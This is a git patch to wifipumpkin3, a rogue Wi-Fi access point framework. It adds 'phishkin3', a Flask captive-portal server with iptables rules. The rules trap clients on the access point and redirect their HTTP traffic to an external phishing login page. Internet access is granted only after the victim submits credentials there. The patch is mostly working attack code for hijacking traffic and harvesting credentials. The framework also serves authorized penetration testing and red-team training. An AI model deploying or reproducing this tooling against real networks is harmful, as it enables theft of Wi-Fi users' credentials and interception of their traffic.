From 708f8362a9b3b4c12db7d3070f5ff4281b1bcbc2 Mon Sep 17 00:00:00 2001 From: mh4x0f Date: Wed, 20 Sep 2023 22:04:26 -0300 Subject: [PATCH] added: phishkin3 proxy for perform custom phishing attack using captive portal --- CHANGELOG.md | 1 + config/app/config.ini | 2 + config/app/phishkin3.ini | 4 + makefile | 6 +- setup.py | 1 + wifipumpkin3/core/servers/proxy/phishkin3.py | 139 +++++++++++++++++++ wifipumpkin3/core/utility/constants.py | 5 +- wifipumpkin3/extensions/proxies.py | 35 ++--- wifipumpkin3/plugins/bin/phishkin3.py | 124 +++++++++++++++++ 9 files changed, 296 insertions(+), 21 deletions(-) create mode 100644 config/app/phishkin3.ini create mode 100644 wifipumpkin3/core/servers/proxy/phishkin3.py create mode 100644 wifipumpkin3/plugins/bin/phishkin3.py diff --git a/CHANGELOG.md b/CHANGELOG.md index dadd400d..4787432d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,7 @@ All notable changes to this project will be documented in this file. ### Added - added: optional to set shared interface internet connection - added: network core command for show information about connections +- added: phishkin3 proxy for perform custom phishing attack using captive portal ## [1.1.5] diff --git a/config/app/config.ini b/config/app/config.ini index 4bb41321..b5ccad21 100644 --- a/config/app/config.ini +++ b/config/app/config.ini @@ -83,6 +83,7 @@ skip_inactivity_poll=1 [colors_log] generic=light-white, #000000 pumpkinproxy=light-red, #000000 +phishkin3=light-red, #000000 pydns_server=light-blue, #000000 responder=light-green, #000000 sniffkin3=light-yellow, #000000 @@ -126,6 +127,7 @@ sniffkin3=true noproxy=false pumpkinproxy=true captiveflask=false +phishkin3=false [settings] log_colorize=true diff --git a/config/app/phishkin3.ini b/config/app/phishkin3.ini new file mode 100644 index 00000000..41eaed8e --- /dev/null +++ b/config/app/phishkin3.ini @@ -0,0 +1,4 @@ +[settings] +cloud_url_phishing="" +redirect_url_after_login="" +proxy_port=80 \ No newline at end of file diff --git a/makefile b/makefile index 7b8b00b0..c7422952 100644 --- a/makefile +++ b/makefile @@ -11,19 +11,19 @@ test_coverage: install: find . -name '*.pyc' -delete - python3 setup.py install + python3 -m pip install . install_env: python3 -m pip install PyQt5==5.14 python3 -c "from PyQt5.QtCore import QSettings; print('done')" find . -name '*.pyc' -delete - python3 setup.py install + python3 -m pip install . install_dev: pip3 uninstall wifipumpkin3 find . -name '*.pyc' -delete - python3 setup.py install + python3 -m pip install . clean: rm -rf build dist README MANIFEST *.egg-info diff --git a/setup.py b/setup.py index 0a8eb98a..6c72e347 100644 --- a/setup.py +++ b/setup.py @@ -88,6 +88,7 @@ def create_user_dir_config(): "wifipumpkin3=wifipumpkin3.__main__:main", "wp3=wifipumpkin3.__main__:main", "captiveflask=wifipumpkin3.plugins.bin.captiveflask:main", + "phishkin3=wifipumpkin3.plugins.bin.phishkin3:main", "sslstrip3=wifipumpkin3.plugins.bin.sslstrip3:main", ], }, diff --git a/wifipumpkin3/core/servers/proxy/phishkin3.py b/wifipumpkin3/core/servers/proxy/phishkin3.py new file mode 100644 index 00000000..b772f15b --- /dev/null +++ b/wifipumpkin3/core/servers/proxy/phishkin3.py @@ -0,0 +1,139 @@ +from wifipumpkin3.core.config.globalimport import * +from collections import OrderedDict +from scapy.all import * +import wifipumpkin3.core.utility.constants as C +from wifipumpkin3.core.servers.proxy.proxymode import * +from wifipumpkin3.core.common.uimodel import * +from wifipumpkin3.core.widgets.docks.dock import DockableWidget +from wifipumpkin3.plugins.captiveflask import * +from ast import literal_eval + +# This file is part of the wifipumpkin3 Open Source Project. +# wifipumpkin3 is licensed under the Apache 2.0. + +# Copyright 2023 P0cL4bs Team - Marcos Bomfim (mh4x0f) + +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at + +# http://www.apache.org/licenses/LICENSE-2.0 + +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + +class Phishkin3(ProxyMode): + Name = "Phishkin3" + Author = "Pumpkin-Dev" + ID = "phishkin3" + Description = ( + "Proxy for create captive portal with external phishing page " + ) + Hidden = False + LogFile = C.LOG_PHISHKIN3 + CONFIGINI_PATH = C.CONFIG_PK_INI + _cmd_array = [] + ModSettings = True + RunningPort = 80 + ModType = "proxy" + TypePlugin = 1 + + def __init__(self, parent=None, **kwargs): + super(Phishkin3, self).__init__(parent) + self.setID(self.ID) + self.setTypePlugin(self.TypePlugin) + + @property + def CMD_ARRAY(self): + self._cmd_array = [ + "-r", + self.conf.get("dhcp", "router"), + "-cU", + self.config.get("settings", "cloud_url_phishing"), + "-rU", + self.config.get("settings", "redirect_url_after_login"), + "-p", + self.config.get("settings", "proxy_port"), + ] + return self._cmd_array + + + @property + def getPlugins(self): + list_commands = [] + settings = self.config.get_all_childname("settings") + for config in settings: + list_commands.append("{}.{}".format(self.ID, config)) + + return list_commands + + def Initialize(self): + # settings iptables for add support captive portal + IFACE = self.conf.get("accesspoint", "interface") + IP_ADDRESS = self.conf.get("dhcp", "router") + PORT = self.config.get("settings", "proxy_port") + + print(display_messages("settings for Phishkin3 portal:", info=True)) + print(display_messages("allow FORWARD UDP DNS", info=True)) + self.add_default_rules( + "{iptables} -A FORWARD -i {iface} -p tcp --dport 53 -j ACCEPT".format( + iptables=self.getIptablesPath, iface=IFACE + ) + ) + + print(display_messages("allow traffic to Phishkin3 captive portal", info=True)) + self.add_default_rules( + "{iptables} -A FORWARD -i {iface} -p tcp --dport {port} -d {ip} -j ACCEPT".format( + iptables=self.getIptablesPath, iface=IFACE, port=PORT, ip=IP_ADDRESS + ) + ) + + print(display_messages("block all other traffic in access point", info=True)) + self.add_default_rules( + "{iptables} -A FORWARD -i {iface} -j DROP ".format( + iptables=self.getIptablesPath, iface=IFACE + ) + ) + + print(display_messages("redirecting HTTP traffic to captive portal", info=True)) + self.add_default_rules( + "{iptables} -t nat -A PREROUTING -i {iface} -p tcp --dport 80 -j DNAT --to-destination {ip}:{port}".format( + iptables=self.getIptablesPath, iface=IFACE, ip=IP_ADDRESS, port=PORT + ) + ) + + self.runDefaultRules() + + def boot(self): + self.reactor = ProcessThread({"phishkin3": self.CMD_ARRAY}) + self.reactor._ProcssOutput.connect(self.LogOutput) + self.reactor.setObjectName(self.ID) + + def LogOutput(self, data): + if self.conf.get("accesspoint", "status_ap", format=bool): + self.logger.info(data) + + def parser_set_phishkin3(self, value, setting_line): + if len(setting_line.split()[0].split(".")) == 2: + try: + # plugin_name = phishkin3.proxy_port true + config_key, config_value = ( + setting_line.split(".")[0], + setting_line.split(".")[1].split()[0], + ) + if config_value in self.config.get_all_childname("settings"): + self.config.set("settings", config_value, value) + else: + print( + display_messages( + "unknown plugin: {}".format(config_value), error=True + ) + ) + return + except IndexError: + print(display_messages("unknown sintax command", error=True)) + print(display_messages("unknown sintax command", error=True)) diff --git a/wifipumpkin3/core/utility/constants.py b/wifipumpkin3/core/utility/constants.py index 4c91633e..60596976 100644 --- a/wifipumpkin3/core/utility/constants.py +++ b/wifipumpkin3/core/utility/constants.py @@ -82,6 +82,7 @@ LOG_PYDNSSERVER = user_config_dir + "/logs/ap/pydns_server.log" LOG_PYDHCPSERVER = user_config_dir + "/logs/ap/pydhcp_server.log" LOG_SNIFFKIN3 = user_config_dir + "/logs/ap/sniffkin3.log" +LOG_PHISHKIN3 = user_config_dir + "/logs/ap/phishkin3.log" LOG_CAPTIVEPO = user_config_dir + "/logs/ap/captiveportal.log" LOG_RESPONDER = user_config_dir + "/logs/ap/responder.log" LOG_HOSTAPD = user_config_dir + "/logs/ap/hostapd.log" @@ -96,7 +97,7 @@ LOG_PYDNSSERVER, LOG_PYDHCPSERVER, LOG_SNIFFKIN3, - LOG_SNIFFKIN3, + LOG_PHISHKIN3, LOG_CAPTIVEPO, LOG_RESPONDER, LOG_HOSTAPD, @@ -107,6 +108,7 @@ CONFIG_INI = user_config_dir + "/config/app/config.ini" CONFIG_SK_INI = user_config_dir + "/config/app/sniffkin3.ini" CONFIG_PP_INI = user_config_dir + "/config/app/pumpkinproxy.ini" +CONFIG_PK_INI = user_config_dir + "/config/app/phishkin3.ini" CONFIG_CP_INI = user_config_dir + "/config/app/captive-portal.ini" CONFIG_CP_INI_ROOT = user_config_dir + "/config/app/captive-portal.ini" @@ -116,6 +118,7 @@ "sniffkin3": CONFIG_SK_INI, "pumpkinproxy": CONFIG_PP_INI, "captiveflask": CONFIG_CP_INI, + "phishkin3": CONFIG_PK_INI, } URL_EXTRA_CAPTIVEFLASK = ( diff --git a/wifipumpkin3/extensions/proxies.py b/wifipumpkin3/extensions/proxies.py index c6a55699..11fb23b9 100644 --- a/wifipumpkin3/extensions/proxies.py +++ b/wifipumpkin3/extensions/proxies.py @@ -84,24 +84,25 @@ def do_proxies(self, args): ): return all_plugins = plugin_info_activated["Config"].get_all_childname("plugins") - for plugin_name in all_plugins: - status_plugin = config_instance.get("plugins", plugin_name, format=bool) - output_plugins.append( - [ - plugin_name, - setcolor("True", color="green") - if status_plugin - else setcolor("False", color="red"), - ] - ) - print( - display_messages( - "{} plugins:".format(plugin_info_activated["Name"]), - info=True, - sublime=True, + if all_plugins: + for plugin_name in all_plugins: + status_plugin = config_instance.get("plugins", plugin_name, format=bool) + output_plugins.append( + [ + plugin_name, + setcolor("True", color="green") + if status_plugin + else setcolor("False", color="red"), + ] + ) + print( + display_messages( + "{} plugins:".format(plugin_info_activated["Name"]), + info=True, + sublime=True, + ) ) - ) - display_tabulate(headers_plugins, output_plugins) + display_tabulate(headers_plugins, output_plugins) print(display_messages("Settings:", info=True, sublime=True)) plugin_settings = plugin_info_activated["Config"].get_all_childname("settings") diff --git a/wifipumpkin3/plugins/bin/phishkin3.py b/wifipumpkin3/plugins/bin/phishkin3.py new file mode 100644 index 00000000..fc25ac7d --- /dev/null +++ b/wifipumpkin3/plugins/bin/phishkin3.py @@ -0,0 +1,124 @@ +from flask import Flask, request, redirect, render_template +from urllib.parse import urlencode, unquote +from wifipumpkin3.core.utility.collection import SettingsINI +import wifipumpkin3.core.utility.constants as C +import sys +import subprocess +import argparse + + +app = Flask(__name__) +REDIRECT = None +URL_REDIRECT_AFTER_LOGIN = None +URL_PHISHINGCLOUD = None +PORT = 80 +config = None + + +def login_user(ip, iptables_binary_path): + subprocess.call( + [iptables_binary_path, "-t", "nat", "-I", "PREROUTING", "1", "-s", ip, "-j", "ACCEPT"] + ) + subprocess.call([iptables_binary_path, "-I", "FORWARD", "-s", ip, "-j", "ACCEPT"]) + + +@app.route("/login", methods=["GET", "POST"]) +def login(): + global URL_PHISHINGCLOUD, config + sys.stdout.write( + f"Login:: User: {request.remote_addr} redirecting to {URL_PHISHINGCLOUD}\n" + ) + sys.stdout.flush() + return redirect(URL_PHISHINGCLOUD, code=302) + #login_user(request.remote_addr, config.get("iptables", "path_binary")) + +@app.route("/verify", methods=["GET", "POST"]) +def verifyUserAfterPhishingLogin(): + global URL_PHISHINGCLOUD, config + sys.stdout.write( + f"Verify:: Allow internet connection for use {request.remote_addr}\n" + ) + sys.stdout.write( + f"Verify:: User: {request.remote_addr} redirecting to {URL_REDIRECT_AFTER_LOGIN}\n" + ) + sys.stdout.flush() + login_user(request.remote_addr, config.get("iptables", "path_binary")) + return redirect(URL_REDIRECT_AFTER_LOGIN, code=302) + +@app.route("/favicon.ico") +def favicon(): + return app.send_static_file("templates/favicon.ico") + + +@app.route("/", defaults={"path": ""}) +@app.route("/") +def catch_all(path): + global REDIRECT, PORT + if PORT != 80: + return redirect( + "http://{}:{}/login?".format(REDIRECT, PORT) + urlencode({"orig_url": request.url}) + ) + return redirect( + "http://{}/login?".format(REDIRECT) + urlencode({"orig_url": request.url}) + ) + + +# https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse +def str2bool(v): + if isinstance(v, bool): + return v + if v.lower() in ("yes", "true", "t", "y", "1"): + return True + elif v.lower() in ("no", "false", "f", "n", "0"): + return False + else: + raise argparse.ArgumentTypeError("Boolean value expected.") + + +_version = "1.0.2" + + +def main(): + global REDIRECT, URL_REDIRECT_AFTER_LOGIN, URL_PHISHINGCLOUD, PORT, config + print("[*] phishkin3 v{} - subtool from wifipumpkin3".format(_version)) + parser = argparse.ArgumentParser( + description="phishkin3 - \ + Server to create captive portal with external phishing page\n doc: " + ) + parser.add_argument( + "-r", + "--redirect", + dest="redirect", + help="IpAddress from gataway captive portal", + ) + parser.add_argument( + "-p", + "--port", + dest="port", + default=80, + help="The port for captive portal", + ) + parser.add_argument( + "-cU", + "--cloud-url-phishing", + dest="cloud_url", + default=None, + help="cloud url phishing domain page", + ) + parser.add_argument( + "-rU", + "--redirect-url", + dest="redirect_url", + default=None, + help="Url for redirect after user insert the credentials on phishing page", + ) + parser.add_argument("-v", "--version", dest="version", help="show version the tool") + args = parser.parse_args() + REDIRECT = args.redirect + URL_PHISHINGCLOUD = args.cloud_url + URL_REDIRECT_AFTER_LOGIN = args.redirect_url + PORT = args.port + + config = SettingsINI(C.CONFIG_INI) + + app.run(REDIRECT, port=args.port)